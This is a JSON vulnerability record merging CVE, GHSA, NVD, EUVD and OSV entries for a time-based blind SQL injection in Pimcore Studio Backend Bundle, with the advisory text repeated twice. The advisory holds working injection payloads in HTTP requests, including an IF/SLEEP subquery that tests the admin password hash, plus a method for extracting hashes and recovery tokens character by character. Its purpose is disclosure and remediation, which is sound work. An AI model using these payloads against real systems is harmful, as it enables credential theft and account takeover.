{"id":"CVE-2026-55208","aliases":["EUVD-2026-42696","GHSA-79cw-hfcc-7mw9"],"status":"published","title":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","description":"Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.","severity":{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00413,"percentile":0.36007,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2026-07-09T20:57:53Z","modified":"2026-11-11T02:49:04Z","fixes":[{"ecosystem":"Packagist","package":"pimcore/studio-backend-bundle","fixed_in":["2025.4.6","2026.1.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"pimcore/studio-backend-bundle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2025.4.6"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"pimcore/studio-backend-bundle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.6"}]}]},{"source":"osv","ecosystem":"Packagist","package":"pimcore/studio-backend-bundle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2025.4.6"}]}],"versions":["v0.10.21","v0.12.18","v0.12.9","v0.13.20","v0.14.19","v0.15.17","v0.4.30","v0.5.20","v0.6.30","v0.9.30","v2025.4.0","v2025.4.1","v2025.4.2","v2025.4.3","v2025.4.4","v2025.4.5"]},{"source":"osv","ecosystem":"Packagist","package":"pimcore/studio-backend-bundle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.6"}]}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2","v2026.1.3","v2026.1.4","v2026.1.5"]}],"products":[{"vendor":"pimcore","product":"pimcore"}],"references":[{"url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-79cw-hfcc-7mw9","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/pimcore/studio-backend-bundle/pull/1883","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pimcore/studio-backend-bundle/commit/f532428cfbf4f5d6e299a13cedd5c29541802552","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55208","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-79cw-hfcc-7mw9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55208.json","tags":["advisory"]},{"url":"https://github.com/pimcore/pimcore","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55208","title":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","description":"Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.","status":"published","published":"2026-07-09T20:57:53.346Z","modified":"2026-07-10T13:51:59.895Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-42696","description":"Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.","status":"published","published":"2026-07-09T20:57:53Z","modified":"2026-07-10T13:51:59Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:03.345658Z"}],"ghsa":[{"id":"GHSA-79cw-hfcc-7mw9","title":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","description":"## Summary\n\nAn authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration.\n\n## Vulnerability Details\n\n### Exploitable: DateFilter with Fixed Named Parameters\n\n`src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`:\n\n```php\n$key = $column-\u003egetKey();  // user-controlled, no validation\n$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';\n$listing-\u003eaddConditionParam($dateCondition, ['minTime' =\u003e $value, 'maxTime' =\u003e ...]);\n```\n\nBecause the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.\n\n### Same Pattern in Note FilterService\n\n`src/Note/Service/FilterService.php` lines 64-67:\n\n```php\n$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';\n$list-\u003eaddConditionParam($dateCondition, ['minTime' =\u003e $value, 'maxTime' =\u003e $maxTime]);\n```\n\n### No Validation on Column Key\n\n`src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting.\n\n### Why Backtick Wrapping is Not Escaping\n\nManual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query:\n\n**Input:** ``key = \"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \"``\n\n**Produces:**\n```sql\n(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)\n```\n\nEverything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally.\n\n### Contrast with Safe Patterns in the Same Codebase\n\n- `LogRepository.php` line 202: uses `$this-\u003edbResolver-\u003eget()-\u003equoteIdentifier()` (safe)\n- `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe)\n\n### Note on EqualsFilter/LikeFilter\n\nThe `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11.\n\n### Step 1: Baseline request (no injection)\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds**\n\n\u003cimg width=\"1666\" height=\"616\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368\" /\u003e\n\n\n### Step 2: Unconditional SLEEP(3) injection\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds**\n\n\u003cimg width=\"1631\" height=\"898\" alt=\"image\" src=\"https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97\" /\u003e\n\n\u003cimg width=\"1920\" height=\"625\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094\" /\u003e\n\n\nThe 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:\n\n```sql\nSELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50\n```\n\n### Step 3: Conditional SLEEP proving data extraction (TRUE case)\n\nThis query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay.\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`)\n\n\u003cimg width=\"1611\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85\" /\u003e\n\n\n\u003cimg width=\"1917\" height=\"570\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f\" /\u003e\n\n\n\n### Step 4: Conditional SLEEP (FALSE case, wrong guess)\n\nSame query but testing for `XXXX` (hex `0x58585858`) instead:\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`)\n\n\u003cimg width=\"1920\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f\" /\u003e\n\n\n### Timing comparison\n\n| Request | Payload | Response Time | Meaning |\n|---------|---------|---------------|---------|\n| Baseline | No injection | 0.07s | Normal |\n| Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed |\n| Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt |\n| Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay |\n\nBy iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking.\n\n## Impact\n\nAn authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.\n\nDirectly extractable high-value data:\n- Admin password hashes (`users.password`) for offline cracking\n- Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token`\n- Session data for session hijacking\n- All PIM product data, CMS content, and asset metadata\n\n## Affected Endpoints\n\nAll endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter:\n\n- `POST /pimcore-studio/api/website-settings`\n- `POST /pimcore-studio/api/notifications`\n- `POST /pimcore-studio/api/recycle-bin`\n- `POST /pimcore-studio/api/redirects`\n- `POST /pimcore-studio/api/translations/{domain}`\n- `POST /pimcore-studio/api/quantity-value/units`\n- `POST /pimcore-studio/api/properties`\n- `POST /pimcore-studio/api/classification-store/{storeId}/keys`\n- `POST /pimcore-studio/api/classification-store/{storeId}/groups`\n- `POST /pimcore-studio/api/classification-store/{storeId}/collections`\n- `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters)\n\n## Recommended Fix\n\nReplace manual backtick wrapping with `Doctrine\\DBAL\\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names:\n\n```php\n// Option 1: quoteIdentifier (doubles internal backticks)\n$db = \\Pimcore\\Db::get();\n$dateCondition = $db-\u003equoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';\n\n// Option 2: allowlist (preferred)\nprivate const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];\nif (!in_array($key, self::ALLOWED_COLUMNS, true)) {\n    throw new InvalidArgumentException('Invalid filter column');\n}\n```\n\nApply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11\n- MySQL general query log confirms injected SQL reaches the database\n- The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202\n- Package: `pimcore/studio-backend-bundle`","status":"published","published":"2026-08-28T19:04:54Z","modified":"2026-08-28T19:04:55Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:41:08.084849Z"}],"nvd":[{"id":"CVE-2026-55208","description":"Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.","status":"published","published":"2026-07-09T21:16:56.02Z","modified":"2026-07-10T15:52:52.497Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:28.4135Z"}],"osv":[{"id":"CVE-2026-55208","title":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","description":"Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.","status":"published","published":"2026-07-09T20:57:53.346Z","modified":"2026-11-11T10:47:37.052790979Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-11T03:21:20.405835Z"},{"id":"GHSA-79cw-hfcc-7mw9","title":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","description":"## Summary\n\nAn authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration.\n\n## Vulnerability Details\n\n### Exploitable: DateFilter with Fixed Named Parameters\n\n`src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`:\n\n```php\n$key = $column-\u003egetKey();  // user-controlled, no validation\n$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';\n$listing-\u003eaddConditionParam($dateCondition, ['minTime' =\u003e $value, 'maxTime' =\u003e ...]);\n```\n\nBecause the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.\n\n### Same Pattern in Note FilterService\n\n`src/Note/Service/FilterService.php` lines 64-67:\n\n```php\n$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';\n$list-\u003eaddConditionParam($dateCondition, ['minTime' =\u003e $value, 'maxTime' =\u003e $maxTime]);\n```\n\n### No Validation on Column Key\n\n`src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting.\n\n### Why Backtick Wrapping is Not Escaping\n\nManual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query:\n\n**Input:** ``key = \"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \"``\n\n**Produces:**\n```sql\n(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)\n```\n\nEverything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally.\n\n### Contrast with Safe Patterns in the Same Codebase\n\n- `LogRepository.php` line 202: uses `$this-\u003edbResolver-\u003eget()-\u003equoteIdentifier()` (safe)\n- `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe)\n\n### Note on EqualsFilter/LikeFilter\n\nThe `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11.\n\n### Step 1: Baseline request (no injection)\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds**\n\n\u003cimg width=\"1666\" height=\"616\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368\" /\u003e\n\n\n### Step 2: Unconditional SLEEP(3) injection\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds**\n\n\u003cimg width=\"1631\" height=\"898\" alt=\"image\" src=\"https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97\" /\u003e\n\n\u003cimg width=\"1920\" height=\"625\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094\" /\u003e\n\n\nThe 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:\n\n```sql\nSELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50\n```\n\n### Step 3: Conditional SLEEP proving data extraction (TRUE case)\n\nThis query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay.\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`)\n\n\u003cimg width=\"1611\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85\" /\u003e\n\n\n\u003cimg width=\"1917\" height=\"570\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f\" /\u003e\n\n\n\n### Step 4: Conditional SLEEP (FALSE case, wrong guess)\n\nSame query but testing for `XXXX` (hex `0x58585858`) instead:\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`)\n\n\u003cimg width=\"1920\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f\" /\u003e\n\n\n### Timing comparison\n\n| Request | Payload | Response Time | Meaning |\n|---------|---------|---------------|---------|\n| Baseline | No injection | 0.07s | Normal |\n| Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed |\n| Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt |\n| Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay |\n\nBy iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking.\n\n## Impact\n\nAn authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.\n\nDirectly extractable high-value data:\n- Admin password hashes (`users.password`) for offline cracking\n- Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token`\n- Session data for session hijacking\n- All PIM product data, CMS content, and asset metadata\n\n## Affected Endpoints\n\nAll endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter:\n\n- `POST /pimcore-studio/api/website-settings`\n- `POST /pimcore-studio/api/notifications`\n- `POST /pimcore-studio/api/recycle-bin`\n- `POST /pimcore-studio/api/redirects`\n- `POST /pimcore-studio/api/translations/{domain}`\n- `POST /pimcore-studio/api/quantity-value/units`\n- `POST /pimcore-studio/api/properties`\n- `POST /pimcore-studio/api/classification-store/{storeId}/keys`\n- `POST /pimcore-studio/api/classification-store/{storeId}/groups`\n- `POST /pimcore-studio/api/classification-store/{storeId}/collections`\n- `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters)\n\n## Recommended Fix\n\nReplace manual backtick wrapping with `Doctrine\\DBAL\\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names:\n\n```php\n// Option 1: quoteIdentifier (doubles internal backticks)\n$db = \\Pimcore\\Db::get();\n$dateCondition = $db-\u003equoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';\n\n// Option 2: allowlist (preferred)\nprivate const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];\nif (!in_array($key, self::ALLOWED_COLUMNS, true)) {\n    throw new InvalidArgumentException('Invalid filter column');\n}\n```\n\nApply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11\n- MySQL general query log confirms injected SQL reaches the database\n- The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202\n- Package: `pimcore/studio-backend-bundle`","status":"published","published":"2026-08-28T19:04:54Z","modified":"2026-08-28T19:15:07.22178813Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:40.657155Z"}]}}
